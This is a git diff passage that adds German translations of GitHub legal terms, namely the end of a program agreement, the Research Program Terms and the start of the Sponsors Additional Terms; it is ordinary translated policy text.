sich, die Vorabversionsmaterialien weder ganz noch teilweise zu ändern, zu vernetzen, zu vermieten, zu leasen, zu übertragen, zu verkaufen oder zu verleihen.  Sie verstehen, dass wir nicht verpflichtet sind, Ihnen Vorabversionsmaterialien bereitzustellen, Ihnen Aktualisierungen, Verbesserungen oder Korrekturen der Vorabversionsmaterialien bereitzustellen oder Sie über Änderungen zu informieren, die wir an unseren Produkten und Dienstleistungen jetzt oder in Zukunft vornehmen.
+
+7. **Zahlung und Gebühren**
+
+  Mit der Teilnahme am Programm können Gebühren verbunden sein. Wir teilen Ihnen diese Gebühren in den Programmbedingungen mit, die wir von Zeit zu Zeit aktualisieren (die „Programmgebühren“). Wenn Sie uns Ihre Zahlungsinformationen zuvor mitgeteilt haben, stimmen Sie zu, dass wir dieselbe Kreditkarte oder dasselbe PayPal-Konto im Rahmen dieser Vereinbarung belasten können. Andernfalls müssen Sie uns ein gültiges Zahlungskonto und andere unterstützende Informationen mitteilen. Sofern in Abschnitt 8 nicht ausdrücklich anders angegeben, sind alle Zahlungen, die Sie für das Programm an uns leisten, nicht erstattungsfähig. Sie erteilen uns die Erlaubnis, Ihr Zahlungskonto am Jahrestag Ihres ersten Zahlungsdatums automatisch mit allen Programmgebühren des kommenden Jahres zu belasten, es sei denn, Sie kündigen diese Vereinbarung zuerst gemäß Abschnitt 8. Alle Gebühren sind in US-Dollar fällig und verstehen sich zuzüglich aller Steuern, Abgaben oder Gebühren, die von den Steuerbehörden erhoben werden (Sie sind für all diese verantwortlich, mit Ausnahme von Steuern, die auf unserem Einkommen basieren).
+
+8. **Laufzeit und Kündigung**
+
+  Diese Vereinbarung beginnt an dem Datum, an dem Sie auf „Zustimmen“ klicken, und gilt für einen Zeitraum von einem (1) Jahr. Diese Vereinbarung verlängert sich automatisch um jeweils ein Jahr, es sei denn, eine der Parteien kündigt schriftlich mindestens dreißig (30) Tage vor Ablauf der aktuellen Laufzeit an, dass sie kündigen möchte, oder einer von uns kündigt sie früher gemäß diesem Abschnitt 8.
+
+  Diese Vereinbarung kann von Ihnen oder GitHub jederzeit ohne Angabe von Gründen durch schriftliche Benachrichtigung der jeweils anderen Partei unter Wahrung einer Frist von dreißig (30) Tagen gekündigt werden. Wenn wir diese Vereinbarung kündigen oder Ihren Zugriff auf das Programm aus einem anderen Grund als Ihrem Verstoß gegen diese Vereinbarung, die Programmbedingungen oder die Nutzungsbedingungen unterbrechen, erstatten wir Ihnen als Ihr einziges Rechtsmittel und unsere einzige Verpflichtung für eine solche Kündigung den anteiligen Teil der Programmgebühren, die Sie uns für die aktuelle Laufzeit dieser Vereinbarung gezahlt haben. Diese Vereinbarung endet sofort, ohne dass eine Benachrichtigung erforderlich ist, wenn Sie gegen eine Bestimmung dieser Vereinbarung, der Programmbedingungen oder der Nutzungsbedingungen verstoßen.
+
+  Die Rechte und Pflichten in den Abschnitten 1, 2, 3 (zweiter und dritter Absatz), 4, 5 (zweiter und letzter Absatz), 6, 7 und 9 bis 21 dieser Vereinbarung gelten auch nach Beendigung oder Ablauf dieser Vereinbarung.  Bei Beendigung oder Ablauf dieser Vereinbarung erlöschen alle Rechte und Lizenzen, die wir Ihnen in dieser Vereinbarung gewährt haben, sofort – Sie werden alle unsere Vertraulichen Informationen und alle Kopien (einschließlich elektronischer Kopien) zurückgeben (oder auf unser Verlangen vernichten), die sich in Ihrem Besitz oder unter Ihrer Kontrolle befinden, und Sie werden schriftlich bestätigen, dass Sie diese Anforderungen erfüllt haben.
+
+9. **Gewährleistungen und Ausschlüsse**
+
+  Sie garantieren uns, dass Sie: (i) befugt sind, diese Vereinbarung auszuführen und ihre Verpflichtungen zu erfüllen; (ii) Geschäfte auf eine Art und Weise führen, die sich zu jederzeit positiv auf die Produkte und Dienstleistungen von GitHub und unseren guten Namen, Firmenwert und Ruf auswirkt; (iii) keine falschen oder irreführenden Aussagen oder Darstellungen in Bezug auf GitHub oder unsere Produkte und Dienstleistungen machen; (iv) keine Verpflichtung oder Verantwortung übernehmen oder in unserem Namen gegenüber irgendjemandem Zusicherungen, Gewährleistungen, Garantien oder Empfehlungen abgeben (einschließlich, aber nicht beschränkt auf unsere Produkte oder Dienstleistungen); und (v) nicht erklären oder implizieren, dass wir eines Ihrer Produkte entwickelt, unterstützt, überprüft oder anderweitig genehmigt haben.
+
+  DAS PROGRAMM, DIE API UND ALLE VERTRAULICHEN INFORMATIONEN, DIE WIR IHNEN GEBEN (EINSCHLIESSLICH UND OHNE EINSCHRÄNKUNG DER VORABVERSIONSMATERIALIEN) WERDEN OHNE MÄNGELGEWÄHR UND OHNE JEGLICHE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG BEREITGESTELLT. WIR LEHNEN ALLE STILLSCHWEIGENDEN GARANTIEN UND BEDINGUNGEN DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN AB. WIR GEWÄHRLEISTEN NICHT, DASS DIENSTLEISTUNGEN ODER PRODUKTE, DIE WIR IHNEN ZUR VERFÜGUNG STELLEN, IHRE ANFORDERUNGEN ODER DIE ANFORDERUNGEN IHRER ENDBENUTZER ERFÜLLEN.
+
+10. **Schadenersatz**
+
+  Wir stellen Ihnen im Rahmen des Programms viele nützliche Vorabversionen zur Verfügung, und es gibt Möglichkeiten, wie Sie diese Dinge unsachgemäß verwenden und uns Schaden zufügen könnten. In Anbetracht dessen und da wir Ihre Teilnahme am Programm nicht kontrollieren können, erklären Sie sich damit einverstanden, dass Sie uns von allen Ansprüchen freistellen, verteidigen und schadlos halten, die sich aus Ihrer Teilnahme am Programm, Ihrer Nutzung der API, unserer vertraulichen Informationen oder anderer GitHub Produkte und Dienste, Ihrer Fahrlässigkeit oder Ihrem vorsätzlichen Fehlverhalten; Ihren Produkte oder Integrationen, die Sie unter Verwendung unserer API oder Vertraulicher Informationen entwickeln, entwerfen, bewerben oder vertreiben, allen falschen Angaben, die Sie in Bezug auf uns oder unsere Produkte oder Dienstleistungen machen, oder Ihren Verletzung eines Teils dieser Vereinbarung ergeben können.
+
+11. **Haftungsbeschränkung**
+
+  IN KEINEM FALL HAFTEN WIR IHNEN ODER DRITTEN GEGENÜBER FÜR INDIREKTE, BESONDERE, ZUFÄLLIGE, FOLGE-, BEISPIEL- ODER STRAFSCHÄDEN, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF SCHÄDEN FÜR VERLORENE DATEN, ENTGANGENEN GEWINN ODER KOSTEN DER BESCHAFFUNG VON ERSATZWAREN ODER DIENSTLEISTUNGEN, UNABHÄNGIG VON DER VERURSACHUNG UND UNTER JEGLICHER HAFTUNGSTHEORIE, OB AUS VERTRAG, UNERLAUBTER HANDLUNG (EINSCHLIESSLICH, OHNE EINSCHRÄNKUNG, PRODUKTHAFTUNG, VERSCHULDENSUNABHÄNGIGER HAFTUNG UND FAHRLÄSSIGKEIT) ODER JEDER ANDEREN RECHTSTHEORIE, UND UNABHÄNGIG DAVON; OB WIR VON DER MÖGLICHKEIT SOLCHER SCHÄDEN WUSSTEN ODER HÄTTEN WISSEN MÜSSEN. IN KEINEM FALL WIRD UNSERE GESAMTHAFTUNG IHNEN GEGENÜBER, DIE SICH AUS ODER IM ZUSAMMENHANG MIT DIESER VEREINBARUNG ERGIBT, AUS IRGENDEINER URSACHE UND UNABHÄNGIG VON DER FORM DER KLAGE, OB AUS VERTRAG ODER DELIKT, DIE HÖHE (I) DER BETRÄGE, DIE SIE TATSÄCHLICH IM RAHMEN DIESER VEREINBARUNG AN UNS GEZAHLT HABEN; ODER (II) FÜNFHUNDERT DOLLAR ($500) ÜBERSTEIGEN. DIE VORSTEHENDEN EINSCHRÄNKUNGEN GELTEN UNGEACHTET DES VERFEHLENS DES WESENTLICHEN ZWECKS EINES BEGRENZTEN RECHTSMITTELS, DAS IN DIESEM VERTRAG ANGEGEBEN IST.
+
+12. **Ausfuhrkontrolle**
+
+  Sie dürfen unsere Vertraulichen Informationen nicht exportieren oder re-exportieren, es sei denn, dies ist durch die Gesetze der Vereinigten Staaten und die Gesetze der Gerichtsbarkeit, in der die vertraulichen Informationen erlangt wurden, gestattet. Insbesondere dürfen Sie unsere Vertraulichen Informationen nicht in Embargoländer der USA, an Personen, die auf der Liste der Specially Designated Nationals des US-Finanzministeriums stehen, oder an Personen, die auf der Denied Person’s List oder Entity List des US-Handelsministeriums stehen, exportieren oder re-exportieren. Indem Sie dem Programm beitreten oder eine unserer Vertraulichen Informationen erhalten, versichern und garantieren Sie, dass Sie sich nicht in einem solchen Land oder auf einer solchen Liste befinden.
+
+13. **Geschützte Rechte**
+
+  Sie stimmen zu, dass GitHub und seine Lizenzgeber alle Rechte, Titel und Interessen an der API, den Vorabversionsmaterialien und allen anderen GitHub Produkten und Diensten, alle Informationen und Daten in Bezug auf ihre Konfigurationen und Kombinationen sowie alle Modifikationen und abgeleiteten Werke des Vorstehenden besitzen. Sie erklären sich damit einverstanden, keine Hinweise auf Urheberrechte oder andere Eigentumsrechte zu entfernen, zu ändern, abzudecken oder zu verschleiern, die wir auf der API, den Vorabversionsmaterialien oder anderen GitHub Produkten und Diensten platzieren oder darin einbetten.
+
+14. **Nutzung durch die öffentliche Verwaltung**
+
+  Wenn Sie eine Regierungsbehörde sind, gilt dieser Abschnitt für Sie.  Bestimmte unserer Vertraulichen Informationen können als „Handelsartikel“ betrachtet werden, wie dieser Begriff in 48 C.F.R. §2.101 definiert ist, bestehend aus „Kommerzieller Computer-Software” und „Kommerzieller Computer-Software-Dokumentation”, wie diese Begriffe in 48 C.F.R. §12.212 oder 48 C.F.R. §227.7202, sofern anwendbar, verwendet werden. In Einklang mit 48 C.F.R. §12.212 oder 48 C.F.R. §227.7202-1 bis 227.7202-4, wie zutreffend, die Kommerzielle Computer-Software und die Kommerzielle Computer-Software-Dokumentation werden Endbenutzern der US-Regierung (a) nur als kommerzielle Artikel und (b) nur mit den Rechten lizenziert, die allen anderen Endbenutzern gemäß den hierin enthaltenen Geschäftsbedingungen gewährt werden.  GitHub, Inc. 88 Colin P. Kelly Street, San Francisco, CA 94107.
+
+15. **Unabhängige Entwicklung**
+
+  Nichts in dieser Vereinbarung beeinträchtigt unser Recht, Produkte, Software oder Technologien zu entwickeln, zu erwerben, zu lizenzieren, zu vermarkten, zu bewerben oder zu vertreiben, die mit Ihren Produkten konkurrieren können.
+
+16. **Feedback**
+
+  Wir versuchen immer, uns zu verbessern, und Ihr Feedback wird uns dabei helfen. Wenn Sie uns Feedback, Vorschläge oder Empfehlungen für das Programm oder unsere Produkte oder Dienstleistungen (zusammenfassend „Feedback“) geben, erkennen Sie an und stimmen zu, dass wir dieses Feedback uneingeschränkt und in beliebiger Weise verwenden können (natürlich vorbehaltlich geltender Patente oder Urheberrechte).
+
+17. **Unabhängige Vertragspartner**
+
+  Die Parteien dieser Vereinbarung sind unabhängige Vertragspartner. Keine der Parteien wird als Arbeitgeber, Angestellter, Agent, Partner Franchisegeber oder -nehmer oder gesetzlicher Vertreter der anderen Partei angesehen, und keine der Parteien hat das Recht, die Befugnis oder die Autorität, im Namen der anderen Partei eine Verpflichtung oder Verantwortung zu übernehmen.
+
+18. **Abtretung**
+
+  Es ist Ihnen nicht gestattet, diese Vereinbarung oder Ihre Rechte daraus ohne unsere vorherige schriftliche Einwilligung ganz oder teilweise kraft Gesetzes oder anderweitig abzutreten oder zu übertragen.
+
+19. **Anwendbares Recht und Gerichtsstand**
+
+  Dieser Vertrag unterliegt dem Recht des Staats Kalifornien unter Ausschluss der Kollisionsnormen und ist nach diesem Recht auszulegen. Alle Streitigkeiten, die sich aus dieser Vereinbarung ergeben, unterliegen der ausschließlichen Zuständigkeit der Staats- und Bundesgerichte in San Francisco County, Kalifornien, und jeder von uns stimmt hiermit der dortigen persönlichen Zuständigkeit zu.
+
+20. **Änderungen; Verzichtserklärungen; Keine Drittbegünstigten**
+
+  Diese Vereinbarung darf nur durch ein von beiden Parteien unterzeichnetes Schreiben geändert werden. Jeder Verzicht auf die Bestimmungen dieser Vereinbarung oder auf die Rechte oder Rechtsbehelfe einer Partei gemäß dieser Vereinbarung muss schriftlich erfolgen, um wirksam zu sein. Sollte sich herausstellen, dass eine Bedingung oder Bestimmung in dieser Vereinbarung ungültig oder nicht durchsetzbar ist, bleiben die verbleibenden Bedingungen im gesetzlich zulässigen Umfang weiterhin gültig und durchsetzbar. Wir stimmen jeweils ausdrücklich zu, dass es keine Drittbegünstigten dieser Vereinbarung gibt.
+
+21. **Gesamter Vertrag**
+
+  Diese Vereinbarung, die Nutzungsbedingungen und die Programmbedingungen enthalten die gesamte Vereinbarung der Parteien in Bezug auf ihren Gegenstand und ersetzen alle vorherigen schriftlichen oder mündlichen Mitteilungen, Zusicherungen, Übereinkommen und Vereinbarungen.  Die Bedingungen Ihrer Bestellungen, Bestätigungen oder anderen Dokumente, die Sie uns im Zusammenhang mit dieser Vereinbarung zusenden, sind null und nichtig und haben keine Wirkung.
diff --git a/translations/de-DE/content/site-policy/github-terms/github-research-program-terms.md b/translations/de-DE/content/site-policy/github-terms/github-research-program-terms.md
new file mode 100644
index 0000000000..3e5e554992
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-research-program-terms.md
@@ -0,0 +1,72 @@
+---
+title: Bedingungen für das GitHub Forschungsprogramm
+redirect_from:
+  - /articles/github-research-program-terms
+  - /github/site-policy/github-research-program-terms
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 7a2c9623e48ec2271c87ceef2267e383ae852566
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556621'
+---
+Willkommen beim GitHub Forschungsprogramm (das „Programm“)! Um teilnehmen zu können, müssen Sie speziellen Bedingungen zustimmen – der Vereinbarung zum GitHub Forschungsprogramm („Vereinbarung“).
+
+Diese Vereinbarung ist eine rechtsgültige Vereinbarung zwischen Ihnen („Sie“, „Ihnen”) und GitHub, Inc. („GitHub“, „wir“ oder „uns“). Lesen Sie diese Vereinbarung unbedingt sorgfältig durch – Sie können nur Programmteilnehmer werden, wenn Sie alle Bedingungen dieser Vereinbarung akzeptieren. Indem Sie in irgendeiner Weise am Programm teilnehmen – zum Beispiel durch den Zugriff auf Informationen über GitHub Produkte oder Dienste, die noch nicht für die breite Öffentlichkeit verfügbar sind – stimmen Sie zu, an alle Bedingungen dieser Vereinbarung gebunden zu sein.
+
+## A. Ihr Feedback
+
+Wir sind stets bemüht, unsere Produkte und Dienste zu verbessern, und Ihr Feedback als Programmteilnehmer wird uns dabei helfen. Wenn Sie uns über das Programm Ideen, Know-how, Algorithmen, Code-Beiträge, Vorschläge, Verbesserungswünsche, Empfehlungen oder sonstiges Feedback zu unseren Produkten oder Diensten geben (zusammen „Feedback“), benötigen wir die gesetzlichen Rechte, diese Informationen für diese Zwecke zu verwenden und zu analysieren. In juristischer Sprache bedeutet dies, dass Sie GitHub eine gebührenfreie, vollständig bezahlte, weltweite, übertragbare, unterlizenzierbare, unwiderrufliche und unbefristete Lizenz zur Implementierung, Verwendung, Änderung, kommerziellen Nutzung und/oder Einbindung des Feedbacks in unsere Produkte, Dienste und Dokumentationen gewähren.
+
+## B. Vertraulichkeit
+
+GitHub kann Ihnen Zugriff auf spezielle Informationen gewähren, die dem Rest der Welt nicht zur Verfügung stehen, damit Sie uns über das Programm Feedback geben (der „Zweck“). Aufgrund der sensiblen Natur dieser Informationen ist es uns wichtig sicherzustellen, dass Sie diese Informationen geheim halten.
+
+Sie stimmen zu, dass alle nicht öffentlichen Informationen, die wir mit Ihnen teilen oder auf die Sie als Programmteilnehmer möglicherweise Zugriff haben, als vertrauliche Informationen von GitHub (zusammen „Vertrauliche Informationen“) gelten, unabhängig davon, ob sie als solche gekennzeichnet oder markiert sind. Sie erklären sich damit einverstanden, solche Vertraulichen Informationen nur für den oben genannten Zweck und nicht für andere Zwecke zu verwenden. Sie sollten das gleiche Maß an Sorgfalt wie bei Ihren eigenen vertraulichen Informationen walten lassen, aber nicht weniger als die angemessenen Vorkehrungen treffen, um eine unbefugte Nutzung, Offenlegung, Veröffentlichung oder Verbreitung unserer Vertraulichen Informationen zu verhindern. Sie verpflichten sich, keine Vertraulichen Informationen an Dritte weiterzugeben, zu veröffentlichen oder zu verbreiten.
+
+Sie verstehen, dass die unbefugte Offenlegung oder Verwendung unserer Vertraulichen Informationen uns irreparable Schäden und erhebliche Verletzungen zufügen kann, die für uns möglicherweise schwer zu quantifizieren sind. Dementsprechend stimmen Sie zu, dass wir zusätzlich zu allen anderen Rechten und Rechtsbehelfen, die wir möglicherweise haben, das Recht haben, sofortige Unterlassungsansprüche geltend zu machen, um sicherzustellen, dass Sie diese Vereinbarung einhalten. Wenn Sie aufgrund von Gesetzen, Vorschriften oder einer gültigen verbindlichen Anordnung eines zuständigen Gerichts verpflichtet sind, unsere Vertraulichen Informationen offenzulegen, dürfen Sie dies tun, aber nur, wenn Sie uns vorher benachrichtigen und Ihr Bestes tun, um diese Offenlegung einzuschränken und sich um eine vertrauliche und schützende Behandlung solcher Informationen bemühen.
+
+Die Verpflichtungen in diesem Abschnitt 2 gelten nicht für Informationen, die nachweislich: (i) der Öffentlichkeit allgemein zugänglich waren, bevor wir sie Ihnen mitgeteilt haben; (ii) der Öffentlichkeit allgemein zugänglich wurden, nachdem wir sie Ihnen offengelegt haben, ohne dass Sie oder Ihre Mitarbeiter oder Auftragnehmer etwas in Zusammenhang damit unternommen oder unterlassen haben; (iii) Ihnen bereits bekannt waren, bevor wir sie Ihnen offengelegt haben; (iv) Ihnen von einem Dritten mitgeteilt wurden, der diesbezüglich keine Vertraulichkeitsverpflichtungen hatte; (v) von Ihnen unabhängig entwickelt wurden, ohne dass eine Vertraulichkeitsverpflichtung gegenüber uns oder Dritten verletzt wurde; oder (vi) Ihnen gegenüber von uns mit der Erlaubnis zur Offenlegung in einem von einem unserer bevollmächtigten Vertreter unterzeichneten Schreiben freigegeben wurden.
+
+## C. Eigentumsvorbehalt
+
+Alle Vertraulichen Informationen bleiben das alleinige und ausschließliche Eigentum von GitHub.  Keine der Parteien erwirbt im Rahmen dieser Vereinbarung geistige Eigentumsrechte, sofern hierin nicht ausdrücklich angegeben.
+
+## D. Datenschutz
+
+Durch die Teilnahme an diesem Programm stimmen Sie unserer Nutzung Ihrer personenbezogenen Daten ausschließlich zu Forschungszwecken zu. Als Teil des Programms können wir Ihre personenbezogenen Daten verwenden, um Sie zu kontaktieren, oder Ihre Daten speichern, um Sie zu einem späteren Zeitpunkt zu kontaktieren. Personenbezogene Daten umfassen keine aggregierten, nicht personenbezogenen Daten. Wir können aggregierte oder andere nicht persönlich identifizierbare Informationen verwenden, die durch das Programm erhoben wurden, um unsere Produkte und Dienstleistungen zu betreiben, zu analysieren und zu verbessern.
+
+Sie können Ihre Einwilligung jederzeit widerrufen und den Zugriff auf oder die Löschung der personenbezogenen Daten, die wir von Ihnen gespeichert haben, verlangen. Weitere Informationen darüber, wie Sie auf die personenbezogenen Daten zugreifen, diese aktualisieren, ändern oder löschen können, die GitHub über das Programm erhebt, finden Sie unter [GitHub Datenschutzerklärung](/articles/github-privacy-statement/) oder kontaktieren Sie uns über unsere {% data variables.contact.contact_privacy %}.
+
+## E. GitHub Dienstleistungs- und Software-Bestimmungen.
+
+Wenn der Zugriff auf die Dienste oder Software von GitHub erforderlich ist, um an bestimmten Studien oder Aktivitäten des Programms teilzunehmen, gelten die entsprechenden Dienstleistungs- oder Software-Bestimmungen für Ihre Nutzung dieser Produkte (die „Allgemein Geltenden Bedingungen“). Im Falle eines direkten Konflikts zwischen dieser Vereinbarung und den Allgemein Geltenden Bedingungen haben Ihre Allgemein Geltenden Bedingungen Vorrang, außer in Bezug auf die Verwendung Vertraulicher Informationen (wie unten definiert); in diesem Fall hat diese Vereinbarung Vorrang.
+
+## F. Ausschluss von Gewährleistungen
+
+Alle Vertraulichen Informationen und sonstigen Materialien, die Sie über das Programm erhalten, werden „wie besehen“ und ohne jegliche Gewährleistung bereitgestellt. Ohne dies einzuschränken, lehnen wir ausdrücklich alle Gewährleistungen, ob ausdrücklich, stillschweigend oder gesetzlich, in Bezug auf das Programm ab, einschließlich, aber nicht beschränkt auf Gewährleistung der Marktgängigkeit, Eignung für einen bestimmten Zweck, Titel, Sicherheit, Genauigkeit und Nichtverletzung.
+
+## G. Haftungsbeschränkung
+
+Außer falls gesetzlich anders vorgeschrieben, erkennen Sie an, dass wir weder Ihnen noch Dritten gegenüber für entgangenen Gewinn, Nutzung, Geschäftswerte oder Daten oder für zufällige, indirekte, spezielle, Folge- oder exemplarische Schäden haftbar sind.
+
+Unsere Haftung ist beschränkt, unabhängig davon, ob wir über die Möglichkeit solcher Schäden informiert wurden oder nicht, und selbst wenn sich herausstellt, dass ein in dieser Vereinbarung festgelegter Rechtsbehelf seinen wesentlichen Zweck verfehlt hat. Wir übernehmen keine Haftung für Ausfälle oder Verzögerungen aufgrund von Angelegenheiten, die außerhalb unserer angemessenen Kontrolle liegen.
+
+## H. Sonstiges
+
+### 1. Anwendbares Recht
+Sofern das geltende Recht es nichts anderes vorsieht, unterliegen diese Vereinbarung zwischen Ihnen und GitHub und jeder Zugriff auf oder jede Nutzung von der Website oder des Dienstes den Bundesgesetzen der Vereinigten Staaten von Amerika und den Gesetzen des Staates Kalifornien ohne Rücksicht auf Kollisionsnormen. Sie und GitHub stimmen zu, sich der ausschließlichen Zuständigkeit und dem ausschließlichen Gerichtsstand der Gerichte in der Stadt und im Landkreis San Francisco, Kalifornien, zu unterwerfen.
+
+### 2. Nichtübertragbarkeit
+GitHub kann diese Vereinbarung ganz oder teilweise jederzeit mit oder ohne Ihre Zustimmung an eine natürliche oder juristische Person abtreten oder delegieren, einschließlich der Lizenzgewährung in Abschnitt A. Sie sind nicht berechtigt, Rechte oder Pflichten aus dieser Vereinbarung ohne unsere vorherige schriftliche Zustimmung abzutreten oder zu delegieren und jede unbefugte Abtretung und Delegierung durch Sie ist nichtig.
+
+### 3. Salvatorische Klausel, kein Verzicht und Fortbestand
+Wenn ein Teil dieser Vereinbarung ungültig oder nicht durchsetzbar ist, wird dieser Teil der Vereinbarung so ausgelegt, dass er die ursprüngliche Absicht der Parteien widerspiegelt. Die übrigen Bestimmungen bleiben hiervon unberührt und gültig. Falls GitHub eine Bestimmung aus diesen Bedingungen nicht durchsetzt, stellt dies keinen Verzicht auf die Durchsetzung der betreffenden Bestimmung dar. Unsere Rechte aus dieser Vereinbarung gelten auch nach Beendigung dieser Vereinbarung.
+
+### 4. Änderungen; Vollständige Vereinbarung
+Diese Vereinbarung kann nur durch eine schriftliche Zusatzvereinbarung geändert werden, die von einem bevollmächtigten Vertreter von GitHub unterzeichnet wird. Diese Vereinbarung, zusammen mit den Allgemein Geltenden Bestimmungen und der GitHub Datenschutzerklärung, stellen die vollständige und ausschließliche Erklärung der Vereinbarung zwischen Ihnen und uns dar. Diese Vereinbarung ersetzt alle mündlichen oder schriftlichen Vorschläge oder vorherigen Vereinbarungen sowie alle anderen Mitteilungen zwischen Ihnen und GitHub in Bezug auf den Gegenstand dieser Bedingungen, einschließlich aller Vertraulichkeits- oder Geheimhaltungsvereinbarungen.
diff --git a/translations/de-DE/content/site-policy/github-terms/github-sponsors-additional-terms.md b/translations/de-DE/content/site-policy/github-terms/github-sponsors-additional-terms.md
new file mode 100644
index 0000000000..cf9a633b7e
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-sponsors-additional-terms.md
@@ -0,0 +1,209 @@
+---
+title: "GitHub Sponsors\_– Zusätzliche Bedingungen"
+redirect_from:
+  - /articles/github-sponsors-additional-terms
+  - /github/site-policy/github-sponsors-additional-terms
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 46f8df3877563406dc3f9094a8d9a33466132cd0
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556613'
+---
+Ihre Teilnahme am GitHub Sponsors Programm (das „Programm“) unterliegt den [GitHub Nutzungsbedingungen](/github/site-policy/github-terms-of-service) (die „Vereinbarung“) sowie den folgenden Zusatzbedingungen („Zusätzliche Bedingungen“). Jede Nutzung des GitHub Sponsors Programms, die gegen die Vereinbarung verstößt, stellt auch eine Verletzung dieser Zusätzlichen Bedingungen dar. Die verwendeten Begriffe, die unten nicht definiert sind, haben dieselbe Bedeutung wie in der Vereinbarung. Die vorliegenden Zusätzlichen Bedingungen für das GitHub Sponsors Programm beschreiben die Beziehung zwischen GitHub und Ihnen, dem „Sponsored Developer“ (Gesponserten Entwickler) im Rahmen des Programms. Die Zusätzlichen Bedingungen gelten ab dem Datum, an dem Sie sie akzeptieren („Datum des Inkrafttretens“).
+
+## 1. Definitionen.
+
+„**GitHub Richtlinien**” umfasst alle zum aktuellen Zeitpunkt gültigen Richtlinien und Verfahren von GitHub, die Sponsored Developer gemäß dem Programm befolgen müssen, einschließlich der [GitHub Community-Richtlinien](/github/site-policy/github-community-guidelines).
+
+„**Sponsor**” bezeichnet den Nutzer, der über Ihr Sponsored Developer-Konto ein Abonnement von Ihnen erworben oder Ihnen ein Sponsoring gezahlt hat.
+
+„**Sponsored Developer-Konto**” bezeichnet das Konto, das Sie im Rahmen des Programms erstellen, um Zahlungen von Sponsoren zu erhalten.
+
+„**Sponsored Developer-Inhalte**” umfasst alle Inhalte, die Sie in Verbindung mit dem Programm an GitHub übermitteln – einschließlich Nutzergenerierter Inhalte und Ihrer Inhalte – sowie Markennamen, Warenzeichen, Dienstleistungsmarken, Handelsnamen, Logos oder Herkunftsangaben („**Sponsored Developer-Marken**”) und Daten, die mit Ihrem Sponsored Developer-Konto verknüpft sind.
+
+„**Sponsoring**” ist eine Zahlung, die Ihnen über das Programm und den Dienst gezahlt wird.
+
+„**Abonnement**” ist ein wiederkehrendes oder einmaliges Sponsoring im Austausch für Waren, Dienstleistungen oder andere Angebote, die Sie Sponsoren anbieten.
+
+„**Sponsored Developer-Zahlung**” bezeichnet den Nettobetrag von einhundert Prozent (100 %) der monatlichen Bruttozahlungen von GitHub, die aus Sponsorings und Abonnements für Sponsored Developer-Konten erhalten werden, zuzüglich aller anwendbaren Matching Funds und anderer Erlöse aus Monetarisierungsoptionen, die der Sponsored Developer gegebenenfalls verwendet, abzüglich aller Rabatte, Steuern, Gebühren und Beträge, die GitHub nicht eingezogen hat oder die erstattet oder zurückgebucht wurden, Beträge, die Dritten im Zusammenhang mit dem Programm in Bezug auf ein Sponsored Developer-Konto geschuldet werden, und andere Ausnahmen, wie in Abschnitt 4 beschrieben.
+
+**USD** ist United States Dollar.
+
+## 2. Akzeptable Nutzung.
+
+### 2.1. GitHub Sponsors Programm
+
+Um am Programm teilnehmen zu können, müssen Sie die Gesetze in Bezug auf das erforderliche Mindestalter für die Teilnahme befolgen, die in Ihrem Land gelten (z. B. müssen Sie mindestens 13 Jahre alt sein, wenn Sie in den Vereinigten Staaten leben), Sie müssen über ein gültiges GitHub Konto verfügen und dem [Abschnitt „Zulässige Nutzung”](/github/site-policy/github-terms-of-service#c-acceptable-use) der Vereinbarung sowie den geltenden GitHub Richtlinien und den vorliegenden Zusätzlichen Bedingungen für GitHub Sponsoren zugestimmt haben.
+
+Wenn Sie über 13, aber unter 18 Jahre alt sind, können Sie Sponsorgelder geben und erhalten, vorausgesetzt, Stripe, unser Zahlungsabwickler, kann Verifizierungsinformationen von Ihrem Erziehungsberechtigten einholen.
+
+Sie dürfen unter keinen Umständen Zahlungen zulassen oder Mittel beschaffen, die Folgendes enthalten:
+
+* Betrug, Lösegeld, Verletzung von Rechten auf geistiges Eigentum oder andere illegale Zwecke;
+
+* falsche Darstellung oder Täuschung in Bezug auf die Gründe, warum Sie Gelder sammeln oder Sponsoring beantragen;
+
+* den Kauf oder Verkauf von ICOs, Utility Tokens oder anderen Arten von Kryptowährungen;
+
+* den Kauf oder Verkauf von Wertpapieren, Aktien oder anderen Arten von Anlageangeboten;
+
+* den Verkauf personenbezogener Daten oder die Verarbeitung personenbezogener Daten unter Verletzung von Gesetzen;
+
+* Lotterien, Verlosungen, Glücksspiele, Schneeballsysteme, Insichgeschäfte, „Schnell-reich-werden"-Programme, irreführende Marketingprogramme, „Spende gegen Spende“-Programme oder jegliche Versuche, die Systeme oder Dienste von GitHub oder Dritten zu manipulieren; und,
+
+* Aktivitäten in oder mit Ländern, Regionen, Regierungen, Personen oder Körperschaften, die nach geltendem Recht aufgrund von US-amerikanischen und anderen Wirtschaftssanktionen nicht erlaubt sind.
+
+### 2.2. GitHub Sponsors Matching Fund
+Der GitHub Sponsors Matching Fund zielt darauf ab, die Community, die am Open Source Software (OSS)-Ökosystem teilnimmt, dazu zu ermutigen, qualifizierte Personen mit Sponsored Developer-Konten nachhaltig zu finanzieren. Alle Personen, die sich vor dem 1. Januar 2020 für das Programm beworben haben, werden auf ihre Teilnahmeberechtigung für den Matching Fund überprüft, aber nicht alle teilnahmeberechtigten einzelnen Sponsored Developer-Konten erhalten ein Matching. Organisationen können nicht am GitHub Sponsors Matching Fund teilnehmen, und Sponsorings von Organisationen, die an teilnahmeberechtigte Sponsored Developer-Konten gehen, werden nicht gematcht. Zusätzliche Regeln finden Sie weiter unten.
+
+#### 2.2.1. Matching Fund – Bedingungen.
+Die Teilnahmeberechtigung für den GitHub Sponsors Matching Fund wird von Fall zu Fall bewertet und unterliegt den folgenden Einschränkungen:
+
